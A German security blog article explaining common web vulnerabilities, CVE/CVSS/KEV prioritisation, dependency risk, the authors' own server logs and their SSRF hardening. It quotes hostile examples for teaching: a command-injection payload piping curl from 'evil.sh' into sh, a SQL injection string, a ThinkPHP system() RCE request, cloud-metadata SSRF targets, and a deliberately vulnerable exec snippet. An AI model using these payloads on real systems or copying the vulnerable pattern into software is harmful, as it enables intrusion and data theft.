IT-Sicherheitslücken sind kein Thema für Konzerne mit eigenem Security-Team. Sie sind das Thema für jeden, der irgendetwas ins Internet stellt — eine Website, einen Shop, eine API, einen Server. Der Grund ist simpel und wird trotzdem ständig unterschätzt: Sie werden nicht angegriffen, weil Sie interessant sind. Sie werden angegriffen, weil Ihre IP-Adresse existiert.
Dieser Artikel erklärt die häufigsten Arten von IT-Sicherheitslücken, wie eine Lücke überhaupt gefunden, gemeldet und bewertet wird, warum Abhängigkeiten heute das mit Abstand größte Einfallstor sind — und was konkret hilft. Ohne Panikmache, ohne Verkaufsgespräch.
Und weil Theorie in diesem Thema besonders billig ist, kommen die unangenehmsten Zahlen in diesem Text von unseren eigenen Maschinen: aus einem realen Einbruch, den wir dokumentiert haben, aus den Logs des Servers, auf dem dieser Blog liegt, und aus einem Sicherheits-Scan unseres eigenen Projekts, dessen Ergebnis uns beim Schreiben selbst überrascht hat.
Alle externen Zahlen in diesem Artikel wurden am 2. August 2026 direkt an der Quelle abgerufen — NVD-API, CISA-KEV-Katalog, OWASP. Nicht aus dem Gedächtnis, nicht aus Sekundärquellen. Wo Sie den aktuellen Stand selbst nachsehen können, steht jeweils dabei.
Die kurze Version für Eilige
- Eine Sicherheitslücke ist ein Fehler, der Sicherheitsgarantien bricht — nicht jeder Bug ist eine Lücke, aber jede Lücke ist ein Bug.
- Das größte Einfallstor ist fremder Code, den Sie nie gelesen haben. Unser eigener Blog hat vier direkte Abhängigkeiten — und installiert damit 327 Pakete. Der Scan meldet 13 offene Befunde, zwölf davon in Paketen, die wir nie bewusst installiert haben.
- RCE plus root ist die tödliche Kombination. Bei unserem eigenen Vorfall lief eine veraltete Next.js-App als root — ein einziger erfolgreicher Request gehörte damit der ganze Server.
- Angriffe sind vollautomatisch und wahllos. In unseren Logs steckt ein einzelner Request mit 783 verschiedenen
.env-Pfaden — 48.827 Zeichen, ein Bot, der jede denkbare Ablage auf einmal durchprobiert. - Die CVE-Flut ist real: 16.255 CVEs allein in Q1/2026, 20.871 in Q2 (NVD, Stand 02.08.2026). Alles patchen ist unmöglich — priorisieren ist Pflicht.
- CVSS sagt, wie schlimm es theoretisch wäre. Der KEV-Katalog sagt, was gerade wirklich ausgenutzt wird. Der zweite Wert ist für Ihre Reihenfolge wichtiger.
- Die wirksamsten Maßnahmen sind langweilig: aktuell halten, nicht als root laufen, Dienste an
127.0.0.1binden, Secrets rotieren, Logs überhaupt erst anschauen. - Der ehrliche Teil: Wir haben selbst offene Befunde und schreiben weiter unten, welche das sind und warum wir damit leben.
Was ist eine IT-Sicherheitslücke überhaupt?
Eine IT-Sicherheitslücke (englisch vulnerability) ist ein Fehler oder eine Schwäche in Software, Konfiguration oder Design, durch die jemand etwas tun kann, das er nicht dürfen sollte: Daten lesen, Daten verändern, Befehle ausführen, sich als jemand anderes ausgeben oder einen Dienst lahmlegen.
Der Unterschied zum normalen Bug ist wichtig, weil er oft verwischt wird:
- Ein Bug ist, wenn die Software etwas anderes tut, als sie soll.
- Eine Sicherheitslücke ist, wenn dieses Andere jemandem Macht gibt, die er nicht haben sollte.
Ein Schreibfehler in einer Fehlermeldung ist ein Bug. Ein Schreibfehler in einer Berechtigungsprüfung ist eine Lücke. Derselbe Tippfehler, völlig andere Konsequenz.
Dazu kommen drei Begriffe, die im Alltag ständig durcheinandergehen:
| Begriff | Bedeutung | Beispiel |
|---|---|---|
| Schwachstelle (Vulnerability) | Die Schwäche selbst | Eine Eingabe wird nicht geprüft |
| Exploit | Der funktionierende Angriffscode | Ein Skript, das genau diese Eingabe missbraucht |
| Angriff / Vorfall | Die tatsächliche Anwendung | Jemand führt das Skript gegen Ihren Server aus |
Eine Schwachstelle ohne Exploit ist ein Risiko. Eine Schwachstelle mit öffentlich verfügbarem Exploit ist ein Termin. Dieser Unterschied ist der wichtigste Hebel bei der Frage, was Sie zuerst patchen sollten — dazu weiter unten mehr.
Warum es überhaupt Lücken gibt
Nicht wegen Faulheit. Software ist heute so groß, dass niemand sie mehr vollständig überblickt. Ein durchschnittliches Web-Projekt besteht zu 90 bis 99 Prozent aus Code, den das Team nie geschrieben und nie gelesen hat. Dazu kommen Ebenen, die niemand sieht: Betriebssystem, Bibliotheken, Container-Basis-Image, CPU-Mikrocode.
Jede dieser Ebenen kann Lücken haben. Und Sie erben sie alle.
Die häufigsten Lückentypen — verständlich erklärt
Es gibt Hunderte Klassifikationen. Diese hier begegnen Ihnen im Web-Alltag wirklich.
1. Remote Code Execution (RCE) — die Königsklasse
Was passiert: Ein Angreifer bringt Ihren Server dazu, seinen Code auszuführen. Nicht Daten lesen, nicht Daten ändern — seinen Code laufen lassen.
Warum sie die schlimmste ist: Alle anderen Lücken geben einem Angreifer ein Stück Macht. RCE gibt ihm den Rest gleich mit. Wer Code ausführen kann, kann nachladen, sich einnisten, weiter suchen.
Wie sie entsteht: Irgendwo landet Benutzereingabe in etwas, das sie ausführt. Der Klassiker sieht in etwa so aus:
// GEFÄHRLICH — niemals so bauen
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
exec(`ping -c 1 ${req.query.host}`, (err, out) => res.send(out));
});
Wer hier ?host=8.8.8.8; curl evil.sh | sh schickt, hat gewonnen. Die Shell interpretiert das Semikolon als „und jetzt noch das hier”.
Der Punkt, den viele übersehen: Bei unserem eigenen dokumentierten Vorfall stand der verwundbare Code nicht in unserer Anwendung. Er steckte im Framework. Man kann selbst alles richtig machen und trotzdem betroffen sein — dazu gleich mehr.
2. Injection: SQL, Command, Template
Was passiert: Daten werden an einer Stelle verarbeitet, wo sie als Anweisung gelesen werden. Der Klassiker ist SQL:
-- Eingabe wird direkt eingesetzt:
SELECT * FROM users WHERE name = 'EINGABE';
-- Eingabe: ' OR '1'='1
SELECT * FROM users WHERE name = '' OR '1'='1';
Aus „zeig mir diesen einen Nutzer” wird „zeig mir alle Nutzer”.
Die Lösung ist seit über zwanzig Jahren dieselbe und trotzdem noch immer nicht überall angekommen: Prepared Statements. Daten und Anweisung werden getrennt übertragen, die Datenbank kann sie gar nicht mehr verwechseln.
// Richtig: Platzhalter, Werte separat
db.query('SELECT * FROM users WHERE name = ?', [eingabe]);
Nicht „Anführungszeichen escapen”. Nicht „böse Wörter filtern”. Trennen. Jede Filterliste ist ein Wettrennen gegen Kreativität, und Kreativität gewinnt.
In der aktuellen OWASP Top 10 ist Injection von Platz 3 (2021) auf A05:2025 gerutscht — nicht weil es sie nicht mehr gibt, sondern weil moderne Frameworks Prepared Statements standardmäßig verwenden. Ein seltener Fall, in dem ein Problem tatsächlich strukturell kleiner geworden ist.
3. Cross-Site Scripting (XSS)
Was passiert: Angreifer-Code landet im Browser anderer Nutzer. Ein Kommentarfeld nimmt <script>...</script> an, speichert es, und jeder spätere Besucher führt es aus.
Warum das mehr ist als ein Schönheitsfehler: Der Code läuft im Kontext Ihrer Domain. Er kann also alles, was der eingeloggte Nutzer kann — Session-Token abgreifen, Formulare abschicken, Inhalte fälschen.
Was hilft: Ausgabe kontextgerecht kodieren (HTML, Attribut, JavaScript und URL brauchen je eigene Regeln), moderne Template-Engines nutzen, die das automatisch tun, und eine Content-Security-Policy als zweite Verteidigungslinie.
Ein aktuelles Beispiel aus unserem eigenen Scan: Astro — das Framework hinter diesem Blog — hatte einen Befund namens „XSS in define:vars via incomplete </script> tag sanitization”. Selbst Frameworks, deren Job es ist, XSS zu verhindern, haben XSS-Lücken.
4. Server-Side Request Forgery (SSRF)
Was passiert: Sie bauen eine Funktion, die eine vom Nutzer angegebene URL abruft — ein Link-Vorschau-Tool, ein Bild-Import, ein Website-Test. Der Angreifer gibt keine externe URL an, sondern eine interne: http://127.0.0.1:6379/ oder http://169.254.169.254/latest/meta-data/.
Ihr Server ruft die Adresse ab. Er steht innerhalb Ihres Netzwerks. Was von außen unerreichbar ist, ist von dort aus erreichbar.
Warum das besonders gemein ist: Die Cloud-Metadaten-Adresse 169.254.169.254 liefert bei vielen Anbietern Zugangsdaten aus. Ein harmloses Vorschaubild-Feature kann so zur Schlüsselausgabe werden.
Wir betreiben selbst zwei solche Dienste — den Core-Web-Vitals-Test und den Graph-API-Tester. Beide holen URLs, die Fremde eintippen. Wie wir das abgesichert haben und welche Falle uns dabei fast erwischt hätte, steht weiter unten im Praxisteil; sie ist lehrreicher als jede Theorie.
5. Broken Access Control — der neue Spitzenreiter
Was passiert: Die Prüfung „darf dieser Nutzer das?” fehlt, ist unvollständig oder lässt sich umgehen. Der Klassiker: /rechnung/1042 gehört Ihnen — und /rechnung/1043 zeigt die Rechnung eines Fremden, weil niemand prüft, wem sie gehört.
Warum das so häufig ist: Zugriffsregeln sind Geschäftslogik. Kein Scanner kann wissen, dass Nutzer B die Rechnung von Nutzer A nicht sehen darf — das steht in keinem Standard, das weiß nur Ihr Team.
In der OWASP Top 10:2025 steht Broken Access Control auf Platz A01 — dem ersten Platz. Ein Befund, der sich in unseren KEV-Daten spiegelt: Wörter rund um Authentifizierung und Berechtigung tauchen in 92 der 1.656 nachweislich ausgenutzten Einträge auf.
6. Fehlkonfiguration
Keine Programmierfehler, sondern Schalter in der falschen Stellung:
- Datenbank ohne Passwort oder mit Standardpasswort
- Debug-Modus in der Produktion (verrät Pfade, Versionen, manchmal Secrets)
- Ein Dienst, der auf
0.0.0.0lauscht statt auf127.0.0.1 - Öffentlich lesbare Backups,
.git-Verzeichnisse oder.env-Dateien - Standard-Zugangsdaten, die nie geändert wurden
Fehlkonfiguration steht in der OWASP Top 10:2025 auf Platz A02 — direkt hinter Zugriffskontrolle. Und sie ist die Kategorie mit dem besten Aufwand-Nutzen-Verhältnis: Meist ist es eine Zeile.
Wie schnell man da hineinrutscht, wissen wir aus eigener Erfahrung. Docker mappt Ports standardmäßig auf alle Interfaces: Aus '5432:5432' in einer docker-compose.yml wird eine PostgreSQL-Datenbank, die aus dem gesamten Internet erreichbar ist. Genau das ist uns passiert, und wir haben es nicht selbst bemerkt — die Meldung kam vom CERT-Bund. Seitdem gilt bei uns ausnahmslos '127.0.0.1:5432:5432'.
Der Beweis, dass die Regel jetzt sitzt, ist prüfbar. Ein Blick auf unsere laufenden Container heute:
woo-proxy-wp 127.0.0.1:8920->80/tcp
woo-proxy-db 127.0.0.1:3320->3306/tcp
shopware-test 127.0.0.1:8888->80/tcp, 127.0.0.1:8443->443/tcp
cobalt-api 127.0.0.1:9100->9000/tcp
pasta-stage-67 127.0.0.1:8810->80/tcp, 127.0.0.1:3310->3306/tcp
forkcart-db 127.0.0.1:5432->5432/tcp
Jeder einzelne an 127.0.0.1 gebunden. Erreichbar sind sie trotzdem — über einen Reverse Proxy, der TLS terminiert und entscheidet, was nach außen darf. Wie dieser Aufbau funktioniert, haben wir im Guide zum nginx Reverse Proxy ausführlich beschrieben.
7. Veraltete Abhängigkeiten
Der eigentliche Elefant im Raum. Der bekommt gleich seinen eigenen Abschnitt — es ist der wichtigste Teil dieses Artikels.
Wie Lücken gefunden, gemeldet und bewertet werden
CVE — die Bibliotheksnummer für Schwachstellen
CVE steht für Common Vulnerabilities and Exposures. Eine CVE-ID wie CVE-2025-29927 ist keine Bewertung, sondern eine eindeutige Bezeichnung — damit alle Beteiligten über dieselbe Lücke reden.
Der Aufbau: CVE-Jahr-Nummer. Das Jahr ist das Jahr der Reservierung, nicht zwingend der Veröffentlichung. Deshalb sehen Sie 2026 durchaus CVEs mit der Jahreszahl 2025 — kein Fehler, nur Bürokratie.
Vergeben werden IDs von CNAs (CVE Numbering Authorities). Das sind nicht nur Behörden: GitHub, Google, Microsoft und viele Open-Source-Projekte sind selbst CNA und vergeben Nummern für ihre eigene Software.
Die Größenordnung, die niemand mehr manuell bewältigt
Am 2. August 2026 haben wir die NVD-API direkt abgefragt. Die Zahlen der veröffentlichten CVEs pro Quartal:
| Zeitraum | Veröffentlichte CVEs |
|---|---|
| Q1 2024 | 8.905 |
| Q1 2025 | 12.412 |
| Q2 2025 | 12.205 |
| Q1 2026 | 16.255 |
| Q2 2026 | 20.871 |
| Juli 2026 (einzeln) | 9.919 |
Quelle: NVD-API, abgerufen am 02.08.2026. Selbst nachprüfen:
curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-04-01T00:00:00.000&pubEndDate=2026-06-30T23:59:59.999&resultsPerPage=1" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['totalResults'])"
Über 20.000 CVEs in einem Quartal sind rund 230 pro Tag. Wer versucht, das vollständig zu verfolgen, macht nichts anderes mehr. Die einzig realistische Antwort heißt Priorisierung — und dafür braucht es bessere Filter als „ist es kritisch?”.
CVSS — wie schlimm wäre es theoretisch?
CVSS (Common Vulnerability Scoring System) gibt jeder Lücke einen Wert von 0,0 bis 10,0:
| Bereich | Einstufung |
|---|---|
| 0,1 – 3,9 | Niedrig |
| 4,0 – 6,9 | Mittel |
| 7,0 – 8,9 | Hoch |
| 9,0 – 10,0 | Kritisch |
Der Wert setzt sich unter anderem daraus zusammen, ob die Lücke über das Netz erreichbar ist, wie komplex der Angriff ist, ob Rechte oder Nutzerinteraktion nötig sind und welchen Schaden sie anrichtet.
Was CVSS nicht sagt: ob die Lücke bei Ihnen überhaupt erreichbar ist, ob es einen funktionierenden Exploit gibt und ob sie gerade tatsächlich ausgenutzt wird. Eine 9.8-Lücke in einem Modul, das Sie gar nicht aktivieren, ist für Sie ungefährlich. Eine 6.5-Lücke in Ihrem Login ist ein Notfall.
CVSS ist eine Eigenschaft der Lücke, nicht Ihres Risikos. Wer Tickets nach CVSS-Wert abarbeitet, arbeitet die Liste eines anderen ab.
KEV — was wirklich ausgenutzt wird
Hier wird es praktisch. Die US-Behörde CISA pflegt den KEV-Katalog (Known Exploited Vulnerabilities) — eine Liste von Lücken, für die es belegte Ausnutzung in freier Wildbahn gibt. Keine Theorie, keine Möglichkeit: Beobachtung.
Wir haben den Katalog am 2. August 2026 heruntergeladen und ausgewertet. Version 2026.07.29, 1.656 Einträge. Die Verteilung nach Aufnahmejahr:
| Jahr der Aufnahme | Neue Einträge |
|---|---|
| 2021 | 311 |
| 2022 | 555 |
| 2023 | 187 |
| 2024 | 186 |
| 2025 | 245 |
| 2026 (bis Ende Juli) | 172 |
1.656 gegen über 20.000 pro Quartal. Das ist die entscheidende Relation dieses Artikels. Der Anteil aller je veröffentlichten Schwachstellen, für die belegte Ausnutzung dokumentiert ist, liegt im niedrigen einstelligen Promillebereich.
Die Hersteller mit den meisten Einträgen:
| Hersteller | Einträge im KEV |
|---|---|
| Microsoft | 382 |
| Cisco | 95 |
| Apple | 93 |
| Adobe | 80 |
| 72 | |
| Oracle | 45 |
| Apache | 39 |
| Ivanti | 35 |
| Fortinet | 29 |
Und 332 der 1.656 Einträge sind ausdrücklich als in Ransomware-Kampagnen genutzt markiert.
Der lehrreichste Fund aus unserer Auswertung ist aber ein anderer. Von den 172 Einträgen, die 2026 neu aufgenommen wurden, betreffen 38 — also 22 Prozent — CVEs aus 2024 oder früher. Darunter Nummern wie CVE-2008-4250 und CVE-2009-1537. Lücken aus 2008 und 2009, die 2026 nachweislich noch aktiv ausgenutzt werden.
Das entkräftet den verbreitetsten Trugschluss dieses Themas: dass alte Lücken erledigt sind. Angreifer nutzen, was funktioniert. Und irgendwo läuft immer noch ein ungepatchtes System.
Den Katalog können Sie selbst ziehen und auswerten:
curl -s https://raw.githubusercontent.com/cisagov/kev-data/develop/known_exploited_vulnerabilities.json \
-o kev.json
python3 -c "
import json
d = json.load(open('kev.json'))
print(d['catalogVersion'], d['count'], 'Eintraege')
"
Die praktische Regel: Steht eine Lücke Ihrer Software im KEV, patchen Sie heute. Nicht diese Woche. Heute. Alles andere geht in den normalen Update-Zyklus.
Responsible Disclosure — der Weg einer Lücke ans Licht
Wer eine Lücke findet, hat drei Möglichkeiten: verkaufen, veröffentlichen oder melden. Der etablierte Weg heißt Coordinated Disclosure:
- Meldung an den Hersteller, über einen dokumentierten Kontakt (
security.txt, Bug-Bounty-Programm,security@-Adresse) - Bestätigung durch den Hersteller
- Frist, üblicherweise 90 Tage — Google Project Zero hat diesen Standard geprägt
- Fix und Veröffentlichung eines Updates
- Publikation der Details, meist mit CVE-ID
Die Frist ist der eigentliche Kern. Ohne sie verschwinden Meldungen in Ticketsystemen. Mit ihr entsteht Druck — und der Finder hat eine legitime Möglichkeit zu veröffentlichen, wenn nichts passiert.
Für die eigene Website heißt das konkret: Legen Sie eine /.well-known/security.txt an. Das kostet zwei Minuten und ist der Unterschied zwischen „jemand meldet Ihnen eine Lücke” und „jemand findet keinen Kontakt und lässt es bleiben”:
Contact: mailto:security@ihre-domain.de
Expires: 2027-12-31T23:59:59.000Z
Preferred-Languages: de, en
Warum Abhängigkeiten das größte Einfallstor sind
Jetzt kommt der Teil, bei dem wir beim Schreiben selbst geschluckt haben.
Dieser Blog ist eine der einfachsten Webanwendungen, die man bauen kann: eine statische Astro-Seite. Keine Datenbank, keine Nutzeranmeldung, kein serverseitiges Rendering. Die package.json hat vier direkte Abhängigkeiten:
"dependencies": {
"@astrojs/mdx": "...",
"@astrojs/sitemap": "...",
"astro": "...",
"sharp": "..."
}
Vier Zeilen, die wir bewusst ausgewählt haben. Und dann haben wir gezählt, was tatsächlich installiert ist:
npm ls --all --parseable | wc -l
# 340
Aus vier Paketen werden 327 Produktions-Pakete (plus optionale, in Summe meldet npm 458 aufgelöste Einträge). Wir haben vier Entscheidungen getroffen. Die anderen 323 Pakete haben andere Leute für uns entschieden.
Und dann der Scan:
npm audit
13 Befunde: 9 hoch, 2 mittel, 2 niedrig. Auf einem statischen Blog. Die Liste, ungekürzt und unbeschönigt:
| Paket | Stufe | Direkt? | Kern des Befunds |
|---|---|---|---|
| astro | hoch | ja | XSS in define:vars, Server-Island-Parameter |
| @astrojs/mdx | niedrig | ja | erbt von astro |
| defu | hoch | nein | Prototype Pollution über __proto__ |
| devalue | hoch | nein | Prototype Pollution beim Parsen |
| js-yaml | hoch | nein | Quadratischer Aufwand über Merge-Keys (DoS) |
| picomatch | hoch | nein | Method Injection in POSIX-Zeichenklassen |
| postcss | hoch | nein | XSS über nicht escaptes </style> |
| sharp | hoch | nein | geerbte libvips-CVEs |
| svgo | hoch | nein | removeScripts lässt Skripte übrig |
| vite | hoch | nein | Path Traversal, beliebiges Datei-Lesen |
| esbuild | niedrig | nein | Datei-Lesen über Dev-Server (Windows) |
| h3 | mittel | nein | SSE-Injection über \r |
| smol-toml | mittel | nein | DoS über kommentarlastige TOML-Dateien |
Elf der dreizehn Befunde stecken in Paketen, deren Namen wir nie getippt haben. defu, picomatch, smol-toml — die kamen alle über die Kette. Wir haben nie entschieden, sie zu installieren. Wir haben entschieden, astro zu installieren.
Genau das meint der Satz „Sie erben alle Lücken Ihrer Abhängigkeiten”. Er klingt abstrakt, bis man ihn am eigenen Projekt nachzählt.
Warum die OWASP das 2025 auf Platz 3 gehoben hat
In der OWASP Top 10:2025 heißt Kategorie A03 „Software Supply Chain Failures”. In der Vorgängerversion von 2021 hieß der verwandte Punkt noch „Vulnerable and Outdated Components” und stand auf Platz 6. Die Umbenennung ist keine Kosmetik: Es geht nicht mehr nur um veraltete Bausteine, sondern um die gesamte Lieferkette — inklusive der Frage, ob das Paket, das Sie installieren, überhaupt noch dem gehört, dem Sie vertrauen.
Diese Sorge ist begründet. Im September 2025 wurden über eine Phishing-Kampagne die npm-Konten mehrerer extrem verbreiteter Kleinstpakete übernommen — debug, color-name, color-convert, is-arrayish, error-ex und weitere. Alle bekamen eigene CVEs mit CVSS 8.8. Das sind Pakete, die kaum jemand bewusst installiert; sie liegen einfach in jedem node_modules.
Der entscheidende Punkt: Dort musste niemand eine Lücke ausnutzen. Es reichte, ein Konto zu übernehmen und eine neue Version zu veröffentlichen. Der Angriff kam über den offiziellen, vertrauten Weg — genau denselben, über den auch Ihre Updates kommen.
Der Fall aus unserer eigenen Praxis
Wir haben einen realen Einbruch ausführlich dokumentiert — ein Server, fünf Tage gekapert. Die Kurzfassung, weil sie hier exakt hineinpasst:
Der Einstieg war eine Web-App auf Next.js 15.3.3 mit einer RCE-Lücke über eine Server Action. Der verwundbare Code stand nicht in der Anwendung des Betreibers — er steckte im Framework. In den Logs fanden sich über 26.000 Versuche auf genau diese eine Stelle. Kein gezielter Angriff: ein Bot, der das halbe Internet abklopft.
Und dann der Fehler, der aus einem Ärgernis eine Katastrophe machte: Die App lief als root. RCE bedeutet „Angreifer kann Befehle ausführen”. Als root bedeutet „mit vollen Rechten”. Zusammen: ein einziger erfolgreicher Request, und der komplette Server gehört ihm. Der Zwischenschritt der Rechteausweitung, der Angreifer sonst aufhält, fiel einfach weg.
Fünf Tage lief das unbemerkt. Entdeckt wurde es nicht durch ein Sicherheitswerkzeug, sondern weil ein Krypto-Miner die CPU so gierig auffraß, dass andere Dienste abstürzten. Der Einbruch flog auf, weil der Angreifer zu gierig war. Ein gedrosselter Miner würde vermutlich heute noch laufen.
Wie viel der Angreifer verdient hat? Ein paar Euro. Das ist der Preis, für den ein fremder Server verbrannt wird.
Wie man die Kette in den Griff bekommt
Das Problem ist nicht lösbar, aber beherrschbar:
1. Lockfile committen, immer. package-lock.json gehört ins Repository. Ohne sie installiert jeder Build potenziell andere Versionen — und Sie können hinterher nicht sagen, was eigentlich lief. Für Deployments npm ci statt npm install verwenden: installiert exakt die Lockfile, nichts anderes.
2. Regelmäßig scannen, aber nicht blind reparieren. npm audit ist kostenlos und eingebaut. npm audit fix --force kann allerdings Breaking Changes einspielen — genau deshalb steht in unserer Liste oben noch alles offen. Was wir stattdessen tun, steht im Ehrlichkeits-Abschnitt weiter unten.
3. Abhängigkeiten vor dem Hinzufügen prüfen. Wann kam das letzte Update? Wie viele Maintainer gibt es? Braucht das Paket wirklich 40 eigene Abhängigkeiten? Ein Einzeiler von einem einzelnen Maintainer ist ein Risiko, das oft in fünf eigenen Zeilen aufgeht.
4. Automatisierte Update-Pull-Requests. Dependabot oder Renovate erzeugen kleine, prüfbare PRs. Der Effekt ist psychologisch: Ein PR mit einer Version ist ein Klick. Ein Update nach zwei Jahren ist ein Projekt.
5. Die Angriffsfläche verkleinern. Der wirksamste Schritt ist der unbeliebteste: weniger Abhängigkeiten. Dieser Blog braucht kein React, keinen Client-State, kein CSS-in-JS. Eine statische Seite hat keine Datenbank, die man injizieren, und keinen Server-Prozess, den man kapern kann. Warum wir uns gegen ein klassisches CMS entschieden haben, steht ausführlich in unserem Artikel über moderne WordPress-Alternativen.
Was wirklich in Ihren Logs steht
Die abstrakteste Behauptung dieses Artikels lautet: „Sie werden angegriffen, weil Ihre IP existiert.” Also haben wir nachgesehen.
SSH: 9.604 Fehlversuche in sieben Tagen
Ein Blick in das Journal des Servers, auf dem dieser Blog liegt:
journalctl -u ssh --since "7 days ago" | grep -c "Invalid user\|Failed password"
# 9604
9.604 fehlgeschlagene Anmeldeversuche in einer Woche, von 437 verschiedenen IP-Adressen. Die meistprobierten Benutzernamen:
| Benutzername | Versuche |
|---|---|
| ubuntu | 836 |
| admin | 706 |
| user | 172 |
| test | 148 |
| ftpuser | 81 |
| support | 73 |
| ubnt | 70 |
| oracle | 66 |
Das ist reines Durchprobieren von Standardnamen. Interessant wird es bei Platz drei: Dort steht ein Name, der auf unseren Betreiber verweist, mit 611 Versuchen. Es wird also nicht nur blind geraten — es wird auch gezielt nachgeschlagen, wem eine Maschine gehört.
Die Konsequenz daraus ist unbequem, aber eindeutig: Passwort-Anmeldung über SSH ist bei dieser Frequenz keine Option. Schlüsselbasierte Anmeldung, PasswordAuthentication no, dazu fail2ban oder ein anderer Rate-Limiter. Ein Passwort, das 9.604 Versuchen pro Woche standhalten muss, verliert irgendwann.
Ein Request, 783 .env-Pfade
Der eindrucksvollste Fund steckt aber in den Webserver-Logs. Wir haben die angefragten URLs der letzten 14 Tage ausgewertet und den längsten Request angesehen.
48.827 Zeichen. Ein einziger Request. Er beginnt so:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=...
Das ist ein bekannter ThinkPHP-RCE-Versuch. Der Server soll system() mit dem Inhalt des Parameters aufrufen. Und dieser Inhalt hat es in sich — wir haben ihn dekodiert und gezählt:
- 783 verschiedene
.env-Pfade - 159 Varianten von
wp-config.php
Der Bot probiert in einem Aufruf /var/www/.env, /var/www/html/.env.local, /opt/app/.env.production, /srv/http/htdocs/.env.backup, /usr/local/apache2/htdocs/wp-config.php.old — und so weiter, durch jede denkbare Kombination aus Verzeichnis und Dateiendung. Sogar .env.2024, .env.2025 und .env.2026 sind dabei.
Falls Sie sich je gefragt haben, ob es reicht, eine .env nach .env.backup umzubenennen: Die Antwort steht in diesem Request.
Was daraus folgt, ist eine Haltung, keine Einzelmaßnahme:
- Konfigurationsdateien gehören niemals ins Web-Verzeichnis. Nicht versteckt, nicht umbenannt — gar nicht dort.
- Umbenennen ist keine Sicherheitsmaßnahme. Der Bot kennt Ihre Kreativität schon.
- Wenn eine Anwendung nicht auf dem Server läuft, kann sie auch nicht angegriffen werden. Dieser Blog liefert statisches HTML aus. Der ThinkPHP-Versuch hat hier nie eine Chance gehabt — nicht weil wir ihn abgewehrt haben, sondern weil es nichts gibt, das PHP ausführen könnte.
Der letzte Punkt ist der unterschätzteste in der ganzen Diskussion. Die sicherste Komponente ist die, die Sie nicht betreiben.
Nachprüfen können Sie das selbst
# SSH-Fehlversuche der letzten Woche
journalctl -u ssh --since "7 days ago" | grep -c "Failed password"
# Meistprobierte Benutzernamen
journalctl -u ssh --since "7 days ago" \
| grep -oP "Invalid user \K\S+" | sort | uniq -c | sort -rn | head
# Verdächtige Pfade in den Webserver-Logs (Caddy)
journalctl -u caddy --since "14 days ago" \
| grep -oP '"uri":"\K[^"]+' | grep -iE "wp-|\.env|\.git|phpmyadmin"
Wenn Sie das zum ersten Mal auf einer eigenen Maschine laufen lassen, ist das oft ein sehr klärender Moment.
Praxisteil: Wie wir unsere eigenen SSRF-anfälligen Dienste abgesichert haben
Wir betreiben zwei Werkzeuge, die per Definition riskant sind: den Core Web Vitals Test und den Graph API Tester. Beide holen eine URL ab, die ein Fremder eintippt. Das ist ein SSRF-Risiko in Reinform.
Wir schreiben hier auf, wie wir das gelöst haben — nicht als Vorlage zum Abschreiben, sondern weil eine der Fallen instruktiv ist.
Schicht 1 — Schema und Aufbau. Nur http: und https:. Keine Zugangsdaten in der URL. Keine Hostnamen wie localhost, metadata.google.internal oder Endungen wie .local und .internal. Ein einzelnes Wort ohne Punkt kann kein öffentlicher Host sein und fliegt raus.
Schicht 2 — Jede aufgelöste IP prüfen, nicht den Namen. Das ist der Kern. Ein Name sagt nichts; evil.example.com kann problemlos auf 127.0.0.1 zeigen. Also wird per DNS aufgelöst und jede Antwort geprüft: Loopback, private Bereiche, CGNAT, Link-Local (inklusive 169.254.169.254), Multicast, Test-Netze.
Wichtig dabei: Wir lehnen ab, wenn irgendeine der aufgelösten Adressen privat ist — nicht erst, wenn alle es sind. Sonst könnte ein Angreifer eine öffentliche und eine private Adresse gleichzeitig hinterlegen und darauf hoffen, dass wir die falsche nehmen.
Schicht 3 — Die IP festnageln. Nach der Prüfung wird die Verbindung zu genau der geprüften IP aufgebaut. Sonst bleibt eine Lücke offen, die DNS Rebinding heißt: Der Name löst bei der Prüfung auf eine harmlose Adresse auf und beim tatsächlichen Verbindungsaufbau auf 127.0.0.1. Prüfen und Verbinden müssen dieselbe Adresse betreffen.
Schicht 4 — Weiterleitungen nicht folgen. Ein 3xx wird an den Aufrufer zurückgegeben, statt ihm hinterherzulaufen. Sonst kann eine geprüfte öffentliche URL einfach auf eine interne weiterleiten und die ganze Prüfung ist umsonst.
Und jetzt die Falle, die uns fast erwischt hätte. Node normalisiert IPv6-Adressen. Aus dem Text ::ffff:127.0.0.1 macht der URL-Parser ::ffff:7f00:1 — dieselbe Adresse, andere Schreibweise. Eine Prüfung, die nur die punktierte Form kennt, sieht diese Variante nie. Der Code muss die beiden 16-Bit-Gruppen zurück in eine IPv4-Adresse rechnen:
const hexMapped = v.match(/^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/);
if (hexMapped) {
const hi = parseInt(hexMapped[1], 16);
const lo = parseInt(hexMapped[2], 16);
const v4 = [(hi >> 8) & 255, hi & 255, (lo >> 8) & 255, lo & 255].join('.');
return isPrivateAddress(v4);
}
Im Kommentar an dieser Stelle in unserem Quellcode steht: „Missing this is a full SSRF bypass — verified against our own internal service.” Wir haben es also nicht theoretisch vermutet, sondern gegen einen eigenen internen Dienst ausprobiert — und der Bypass funktionierte.
Die verallgemeinerbare Lehre: Eine Sicherheitsprüfung, die auf Textvergleich beruht, wird von jeder alternativen Schreibweise desselben Wertes umgangen. Dezimal, hexadezimal, oktal, IPv6-gemappt, URL-kodiert, doppelt URL-kodiert. Prüfen Sie den geparsten Wert, nie die Zeichenkette. Und testen Sie Ihre Prüfung mit Eingaben, von denen Sie erwarten, dass sie durchrutschen — ein Filter, der noch nie etwas abgelehnt hat, ist kein geprüfter Filter, sondern eine Hoffnung.
Konkrete Gegenmaßnahmen, nach Wirkung sortiert
Aktuell halten — die eine Maßnahme, die alles schlägt
Unbequem, aber wahr: Fast jeder große Vorfall wäre durch ein verfügbares Update verhindert worden. Der Patch für die Next.js-Lücke unseres Vorfalls existierte, als der Server übernommen wurde.
- Betriebssystem: unattended-upgrades für Sicherheitsupdates einschalten
- Anwendungen: Dependabot/Renovate, kleine PRs statt Groß-Migrationen
- Container: Basis-Images regelmäßig neu bauen — ein
FROM node:22von vor einem Jahr ist ein Jahr alt - Reihenfolge: KEV zuerst, dann kritisch, dann der Rest
Rechte einschränken
Nichts läuft als root, was nicht muss. Das war der Verstärker, der unseren Vorfall von ärgerlich zu katastrophal machte.
# systemd-Service mit reduzierten Rechten
[Service]
User=appuser
